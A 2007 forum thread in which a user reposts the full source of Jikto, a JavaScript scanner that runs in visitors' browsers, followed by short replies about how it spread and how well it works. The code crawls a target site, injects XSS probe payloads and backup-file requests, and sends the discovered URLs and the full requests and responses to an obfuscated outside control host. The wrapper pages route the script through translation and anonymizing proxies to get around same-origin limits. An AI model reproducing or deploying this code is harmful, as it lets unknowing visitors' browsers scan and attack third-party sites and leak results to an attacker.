ichthuz Posted April 7, 2007 Share Posted April 7, 2007 Don't abuse this but in the interest of full disclosure. dirlist /jikto/contol.txt /jikto/jikto.js /jikto/jikto.html /jikto/scan.html contol.txt //blank document jikto.js //------------------------------------------------------------------------------------ Analyzer //------------------------------------------------------------------------------------ Analyzer //------------------------------------------------------------------------------------ Analyzer function linkIsGood(l) { var lower = l.toLowerCase().substring(0,4); //this is stupid (could false pos), but effective if(lower == "java" || lower == "mail") { return false; } var tmpU = Url.resolveRelativeLink(currRequest.url, l); //do checks here if(!fileExtAllowed(tmpU)) { return false; } if(tmpU.hostname != startUrl.hostname) { return false; } if(tmpU.port != startUrl.port) { return false; } return true; } function extractHREFsAsRequests(txt) { var pattern = /hrefs*=s*(["'])([^'"]*)1/gi; var links = new Array(); var result; while( (result = pattern.exec(txt)) != null) { links.push(result[2]); } //refine what we RegExed out var requests = new Array(); var counter = 0; var linklen = links.length; for(; counter < linklen; counter++) { //clean out the prefix links[counter] = links[counter].replace(prefix,""); if(linkIsGood(links[counter])) { requests.push( Request.fromUrl( Url.resolveRelativeLink(currRequest.url, links[counter]) )); } } return requests; } function fileExtAllowed(u) { for(var i=0, bfl = badFiles.length; i < bfl; i++) { if(u.fileext.toLowerCase() == badFiles[i]) { return false; } } return true; } function tagParser(text) { var PRENAME = 0; var INNAME = 1; var INPREVALUE = 2; var INVALUE = 3; var attribs = new Object(); var curr = 0; var len = text.length; var c = ""; var state = PRENAME; var buff = ""; var name = ""; var quoteChar = ""; while(curr < text.length) { c = text.charAt(curr); switch(state) { case PRENAME: switch(c) { case ' ': case 't': case 'r': case 'n': curr++; break; default: buff = c; curr++; state = INNAME; break; } break; case INNAME: switch(c) { case '=': //= so name is done name = trim(buff).toLowerCase(); buff = ""; quoteChar = ""; curr++; state = INPREVALUE; break; default: buff += c; curr++; break; } break; case INPREVALUE: switch(c) { case ' ': case 't': //ignore it curr++; break; case "'": case """: quoteChar = c; curr++; state = INVALUE; break; default: //anything is a value quoteChar = ""; buff += c; curr++; state = INVALUE; break; } break; case INVALUE: switch(c) { case quoteChar: //all done! attribs[name] = buff; state = PRENAME; curr++; buff = ""; break; case ' ': case 't': case 'r': case 'n': if(quoteChar == "") { attribs[name] = buff; state = PRENAME; buff = ""; } curr++; break; default: buff += c; curr++; break; } break; } //end switch } //end while var c = 10; return attribs; } function extractFormsAsRequests(txt) { var requests = new Array(); var lowertxt = txt.toLowerCase(); //RegEx and results for FORM search var pattern = /<forms+([^>]+)/gi; var result; while( (result = pattern.exec(txt)) != null) { //parse out attributes for the form tag currForm = tagParser(result[1]); //setup something for the inputs currForm.inputs = new Array(); //find the "end" tag var endp = lowertxt.indexOf("</form", result.index+1); //grab all that text "inside" thos form var inner = txt.substring(result.index, endp); //grab all the inputs in the form var pattern2 = /<inputs+([^>]+)/gi; var result2; while( (result2 = pattern2.exec(inner)) != null) { //parse out the attributes currForm.inputs[currForm.inputs.length] = tagParser(result2[1]); } //needs some inputs and an action if(currForm.inputs.length > 0 && currForm.action != undefined) { if(linkIsGood(currForm.action)) { var u = Url.resolveRelativeLink(currRequest.url, currForm.action); if(currForm.method != undefined && currForm.method.toLowerCase() == "post") { var req = Request.fromUrl(u); req.method = "POST"; req.data = buildParamString(currForm.inputs); requests[requests.length] = req; } else { u.queryParams = buildParamString(currForm.inputs); requests[requests.length] = Request.fromUrl(u); } } } } return requests; } function buildParamString(inps) { var ret = new Array(); var seen = new Object(); for(var i =0; i < inps.length; i++) { if(inps[i].name != undefined && seen[inps[i].name] == undefined) { seen[inps[i].name] = true; if(inps[i].value != undefined) { ret[ret.length] = new NVPair(inps[i].name, inps[i].value); } else { ret[ret.length] = new NVPair(inps[i].name, "admin"); } } } return ret; } //------------------------------------------------------------------------------------ Attack Lib //------------------------------------------------------------------------------------ Attack Lib //------------------------------------------------------------------------------------ Attack Lib function generateBackupAttacks(request) { var requests = new Array(); var newreq = new cloneObject(request); newreq.url.filename += ".bak"; newreq.url.queryParams = new Array(); newreq.data = ""; newreq.method = "GET"; newreq.origin = "audit"; newreq.title = "Backup File Detected!"; newreq.sev = 50; newreq.regex = /HTTP/1.1s200sOK/i; requests[requests.length] = newreq; var newreq = new cloneObject(request); newreq.url.filename += ".old"; newreq.url.queryParams = new Array(); newreq.data = ""; newreq.method = "GET"; newreq.origin = "audit"; newreq.title = "Backup File Detected!"; newreq.sev = 50; newreq.regex = /HTTP/1.1s200sOK/i; requests[requests.length] = newreq; return requests; } function generatePPASSAttacks(request) { var requests = new Array(); if(request.method == "GET" && request.url.queryParams.length > 0) { var newreq = new cloneObject(request); newreq.url.queryParams = new Array(); for(var xxx=0; xxx < request.url.queryParams.length; xxx++) { newreq.url.queryParams[xxx] = new NVPair(request.url.queryParams[xxx].name,"<script>alert('xss')</script>"); } newreq.origin = "audit"; newreq.title = "Cross Site Scripting"; newreq.sev = 100; newreq.regex = /script/i; requests[requests.length] = newreq; } else if(request.method == "POST") { var t = request.data.length > 0; var newreq = new cloneObject(request); newreq.url.queryParams = new Array(); newreq.data = new Array(); newreq.data[0] = new NVPair("admin", "<script>alert('xss')</script>"); newreq.data[1] = new NVPair("password", "<script>alert('xss')</script>"); newreq.data[2] = new NVPair("graphicOption", "<script>alert('xss')</script>"); newreq.origin = "audit"; newreq.title = "Cross Site Scripting"; newreq.sev = 100; newreq.regex = /script/i; requests[requests.length] = newreq; } return requests; } //------------------------------------------------------------------------------------ Global Variables //------------------------------------------------------------------------------------ Global Variables //------------------------------------------------------------------------------------ Global Variables var currRequest = null; var currResponse = null; //startURL! var GUIURL = rot13("uggc://jjj.cragrfg.vg/wvxgb/pbageby.gkg"); //http://www.pentest.it/jikto/control.txt //http://localhost/JiktoControl/Collect.aspx?type= //uggc://ybpnyubfg/WvxgbPbageby/Pbyyrpg.nfck?glcr= var SLASH = String.fromCharCode(47); //prefix for our requests var prefix = window.location.pathname.substr(0,window.location.pathname.indexOf("http:", 7)) //image extensions var badFiles = ["jpg", "jpeg", "gif", "png", "ico", "psd", "xcf", "xmb", "svg", "wmv", "bmp", "pdf", "ps", "doc", "dot", "xls", "pot", "ppt", "avi", "mpeg", "mpg", "asf", "mov", "wmv", "rm", "mp2", "mp3", "wma", "wav", "aiff", "aif", "mid", "midi", "mp4", "au", "ra", "exe", "pif", "bat", "msi", "swf", "class", "sh", "zip", "gz", "tar", "rar", "z", "jar", "cab", "rpm"]; //our requestor! var xhr= new XMLHttpRequest(); //------------------------------------------------------------------------------------ GUI Interface //------------------------------------------------------------------------------------ GUI Interface //------------------------------------------------------------------------------------ GUI Interface //alert("GUI"); function reportURL(method, url) { var i = new Image(); i.src = GUIURL + "1&url=" + escape(url) + "&method=" + escape(method); } function reportVuln(method, url, sev, title, req, resp) { var i = new Image(); i.src = GUIURL + "2&url=" + escape(url) + "&method=" + escape(method)+ "&sev=" + escape(sev) +"&title=" + escape(title) +"&req=" + escape(req) + "&resp=" + escape(resp); } //------------------------------------------------------------------------------------ Misc Funcs //------------------------------------------------------------------------------------ Misc Funcs //------------------------------------------------------------------------------------ Misc Funcs function cloneObject(what) { for (var i in what) { if(typeof(what[i]) == "object") { this[i] = new cloneObject(what[i]); } else { this[i] = what[i]; } } } function rot13(txt) { var ret ="" var len = txt.length; for(var i=0; i < len; i++) { var b = txt.charCodeAt(i); if( ((b>64) && (b<78)) || ((b>96) && (b<110)) ) { b +=13; } else if( ((b>77) && (b<91)) || ((b>109) && (b<123)) ) { b -=13; } ret += String.fromCharCode(b); } return ret; } function trim(s) { return s.replace(/^s*(S*(s+S+)*)s*$/, "$1"); } //------------------------------------------------------------------------------------ Request //------------------------------------------------------------------------------------ Request //------------------------------------------------------------------------------------ Request function Request() { this.url = null; this.method = ""; this.origin = "crawl"; this.data = ""; this.title = "xx"; this.regex = ""; this.sev = 0; } Request.fromUrl = function(u) { var ret = new Request(); ret.url = u; ret.method = "GET"; ret.origin = "crawl"; return ret; } Request.prototype.getResource = function () { return this.url.toString(); } Request.prototype.toString = function () { return String.concat(this.method, " ", this.getResource(), " HTTP/1.1"); } //------------------------------------------------------------------------------------ Response //------------------------------------------------------------------------------------ Response //------------------------------------------------------------------------------------ Response //create a response object from a completely returned XHR obj! function Response(x) { this.status = x.status; this.statusText = x.statusText; this.is404 = false; this.headersString = x.getAllResponseHeaders(); //extract the headers into a hash table this.headers = new Object(); var tmp = this.headersString.split("n"); var j; var k = ": "; for(var i =0; i < tmp.length; i++) { j = tmp[i].indexOf(k); if(j > 0) { this.headers[tmp[i].substring(0, j)] = tmp[i].substring(j + 2, tmp[i].length); } } this.body = x.responseText; return this; } function Response_toString() { var s=""; var i; s = String.concat(s, "HTTP/1.1 ", this.status, " ", this.statusText, "n"); for (i in this.headers) { s = String.concat(s, i, ": ", this.headers[i], "n"); } s = String.concat(s, this.data); return s; } Response.prototype.toString = Response_toString; //------------------------------------------------------------------------------------ Scanner //------------------------------------------------------------------------------------ Scanner //------------------------------------------------------------------------------------ Scanner var pending = new Object(); var pendingLen = 0; var visited = new Object(); function addRequest(r) { if(r != undefined) { if(pending[r.toString()] == undefined) { if(visited[r.toString()] == undefined) { pending[r.toString()] = r; pendingLen++; return true; } } return false; } } function processResponse() { // only if req shows "loaded" if (xhr.readyState == 4) { //send reponse off currResponse = new Response(xhr); if(currResponse.status == 200) { reportURL(currRequest.method, currRequest.getResource()); } var requests = null; //grab any requests from HREFs requests = extractHREFsAsRequests(currResponse.body); var requests2 = extractFormsAsRequests(currResponse.body); if(requests2.length > 0) { requests = requests.concat(requests2); } if(requests.length > 0) { //bubble up the GUI and add them (if needed) for(var i =0; i < requests.length; i++) { addRequest(requests[i]); //================= Generate Attacks requests2 = generateBackupAttacks(requests[i]); //requests2 = (generatePPASSAttacks(requests[i])); requests2 = requests2.concat(generatePPASSAttacks(requests[i])); if(requests2.length > 0) { for(var k =0; k < requests2.length; k++) { addRequest(requests2[k]); } } } } if(xhr.responseText.indexOf("xss") > 0) { reportVuln(currRequest.method, currRequest.getResource(), 100, "Cross Site Scripting", currRequest.toString(), currResponse.toString()); } //==============score attacks here if(currRequest.origin == "audit") { if(currResponse.toString().match(currRequest.regex)) { reportVuln(currRequest.method, currRequest.getResource(), currRequest.sev, currRequest.title, currRequest.toString(), currResponse.toString()); } } sendNextRequest(); } } function sendNextRequest() { if(pendingLen == 0) { //toGUI("Scan Complete!"); return true; } //grab the first Request for(i in pending) { currRequest = pending[i]; break; } //remove it from the queue delete pending[currRequest.toString()]; pendingLen--; //add it to visited visited[currRequest.toString()] = true; //clear out the old response obj currResponse = null; xhr = new XMLHttpRequest(); var data = ""; //register the handler function xhr.onreadystatechange = processResponse; xhr.open(currRequest.method, prefix + currRequest.getResource(), true); if(currRequest.method == "POST") { data = currRequest.data.join("&"); xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.setRequestHeader("Content-length", data.length); //http.setRequestHeader("Connection", "close"); } //add our magic header xhr.setRequestHeader('X-Hax0r', 'Acidus'); xhr.send(data); } //------------------------------------------------------------------------------------ URL Object //------------------------------------------------------------------------------------ URL Object //------------------------------------------------------------------------------------ URL Object function NVPair(n, v) { this.name = n; this.value = v; return this; } NVPair.prototype.toString = function() { return String.concat(escape(this.name), "=", escape(this.value)); } function setParamValue(name, value, ar) { for (var yyy in ar.length) { if(ar[yyy].name != undefined) { if(ar[yyy].name == name) { ar[yyy].value = value; break; } } } return ar; } function getParamArray(qs) { var ret = new Array(); var nvp = qs.split("&"); for(var i=0; i < nvp.length; i++) { var tmp = nvp[i].split("="); if(tmp.length == 1) { ret[ret.length] = new NVPair(unescape(tmp[0]), ""); } else if(tmp.length == 2) { ret[ret.length] = new NVPair(unescape(tmp[0]), unescape(tmp[1])); } } return ret; } function Url(url) { this.protocol = ""; this.hostname = ""; this.port = ""; this.path = ""; this.filename=""; this.fileext=""; this.frag =""; this.queryParams = new Array(); if(arguments.length == 1) { var tmp; var rest; //grab the fraq tmp = url.split("#"); rest = tmp[0]; this.frag= (tmp.length > 1) ? unescape(String.concat("#",tmp[1])) : ""; //grab the query string tmp = rest.split("?"); rest = tmp[0]; if(tmp.length > 1) { this.queryParams = getParamArray(tmp[1]); } //grab the protocol tmp = rest.split("//"); if(tmp.length > 1) { tmp[0] = unescape(tmp[0]); this.protocol = tmp[0].substring(0,tmp[0].length-1).toLowerCase(); rest = tmp[1]; } else { //alert("Invalid url "" + url + """); throw "Invalid URL"; } //grab the host tmp = rest.split(SLASH); if(tmp.length > 1) { //get rid of hostname this.hostname = unescape(tmp.shift()).toLowerCase(); //only 1 thing left, which is the filename if(tmp.length == 1) { this.filename = unescape(tmp[0]); this.path = SLASH; } else { //filename is at the end this.filename = unescape(tmp.pop()); //recombine and add leading and trailing slashes for(var i =0; i < tmp.length; i++) { tmp[i] = unescape(tmp[i]); } for(var i = 0; i < tmp.length; i++) { if(tmp[i] == ".") { tmp.splice(i, 1); i = i -1; } else if(tmp[i] == "..") { if(i == 0) { //more /../ than directories //alert("Invalid url "" + url + """); throw "Invalid URL"; } tmp.splice(i-1, 2); i=i-2; } } if(tmp.length >=1) { this.path = String.concat(SLASH, tmp.join(SLASH), SLASH); } else { this.path = SLASH; } } } else { this.hostname = unescape(tmp[0]); this.path = SLASH; } //grab the port tmp = this.hostname.split(":"); this.hostname = tmp[0]; this.port = (tmp.length == 2) ? unescape(tmp[1]) : ""; //be smart and fill in the port as needed if(this.port.length == 0) { if(this.protocol == "http") this.port = "80"; else this.port = "443"; } //grab the filename extension if(this.filename.length > 0) { tmp = this.filename.split("."); this.fileext = (tmp.length > 1) ? tmp.pop() : ""; } } return this; } Url.prototype.addNV = function(name, value) { this.queryParams[this.queryParams.length] = new NVPair(name, value); } function Url_resolveRelativeLink(baseUrl, relativeLink) { if(typeof(baseUrl) == "string") { baseUrl = new Url(baseUrl); } //is it relative? if(unescape(relativeLink).indexOf("://") > 0) { return new Url(relativeLink); } //alert("BASE IS: " + baseUrl); var s; //set up our base s = String.concat(baseUrl.protocol, "://", baseUrl.hostname, (baseUrl.port.length > 0) ? ":" + baseUrl.port : ""); if(relativeLink.substring(0,1) == SLASH) { //link is relative to site root, so directly concat s = String.concat(s, relativeLink); } else { //link is relative to current path s = String.concat(s, baseUrl.path, relativeLink); } return new Url(s); } function Url_toString() { return String.concat(this.protocol, "://", this.hostname, (this.port.length > 0) ? ":" + this.port : "", this.path, this.filename, (this.queryParams.length > 0) ? "?" + this.queryParams.join("&") : "", this.frag); } function Url_toStringNoPath() { return String.concat(this.protocol, "://", this.hostname, (this.port.length > 0) ? ":" + this.port : ""); } Url.prototype.toString = Url_toString; Url.prototype.toStringNoPath = Url_toStringNoPath; Url.resolveRelativeLink = Url_resolveRelativeLink; //------------------------------------------------------------------------------------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------------------------------------------------------------------------------------ //var startUrlString = rot13("uggc://mreb.jronccfrphevgl.pbz/"); var startUrlString = rot13("uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc"); //http://blackhat-forums.com/phpBB2/index.php uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc //var startUrlString = rot13(""); var startUrl = new Url(startUrlString); //queue up first request addRequest(Request.fromUrl(startUrl)); //let 'er rip! sendNextRequest(); jikto.html <html> <head> <title>Jikto Scan</title> </head> <body> above script <script src="http://www.pentest.it/jikto/jikto.js"></script> <br /> below script </body> </html> scan.html <HTML> <HEAD> <TITLE>Jikto Test</TITLE> <script src="/mint/?js" type="text/javascript"></script> </HEAD> <BODY> <h1>Scanning..</h1> <!--- <iframe src="http://www.google.com/translate?u=http%3A%2F%2Fwww.pentest.it%2Fjikto%2Fjikto.html&langpair=en%7Cen&hl=en&ie=UTF8"></iframe> -----> <iframe src="http://www.the-cloak.com/Cloaked/+cfg=32/http://www.pentest.it/jikto/jikto.html"></iframe> </BODY> </HTML> skript kiddies shouldnt get how to work it, its pretty complex JS l33ts please dont post guides or the script kiddies will break the net. Quote Link to comment Share on other sites More sharing options...
deleted Posted April 7, 2007 Share Posted April 7, 2007 I will have to make a patch for my browser. Cant belive it is so simple. (how it is done from a web page not the long, long javascript) Quote Link to comment Share on other sites More sharing options...
Deveant Posted April 7, 2007 Share Posted April 7, 2007 lol it was built well, and the consept is quite simple(ish), and it works great, supos thats the reason y he didnt want it getting out lol. Quote Link to comment Share on other sites More sharing options...
remkow Posted April 7, 2007 Share Posted April 7, 2007 damn this thing spreads fast.. first it was private, then it got to a few VIP forums, and now its everywhere :S Quote Link to comment Share on other sites More sharing options...
jool Posted April 7, 2007 Share Posted April 7, 2007 VIP forums? Is that what digg.com is now? The only reason it's spreading is that most people don't bother to look at the code and just believe the hype instead. As for the code, it's a proof of concept for a vulnerability scanner that you can only run on a site you've already attacked. As proof of concept code normally is it isn't very solid at all and can easily break at several places and his obvious over-exposure to C code clearly shines through. Fun idea but if it's used in its current form in reality it would probably be perceived as more of a DOS attack than anything else. Quote Link to comment Share on other sites More sharing options...
remkow Posted April 7, 2007 Share Posted April 7, 2007 It has been released on some VIP forums before it came to digg.. Quote Link to comment Share on other sites More sharing options...
Deveant Posted April 8, 2007 Share Posted April 8, 2007 hmm no, it wasnt released on some VIP forums b4 dig, it was released on a blog, then the blog added to Dig straight way by the original guy who got hold of the script. Quote Link to comment Share on other sites More sharing options...
jollyrancher82 Posted April 8, 2007 Share Posted April 8, 2007 I've been talking with simple-nomad about this, and the whole thing is overrated and not as bad as people make out. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.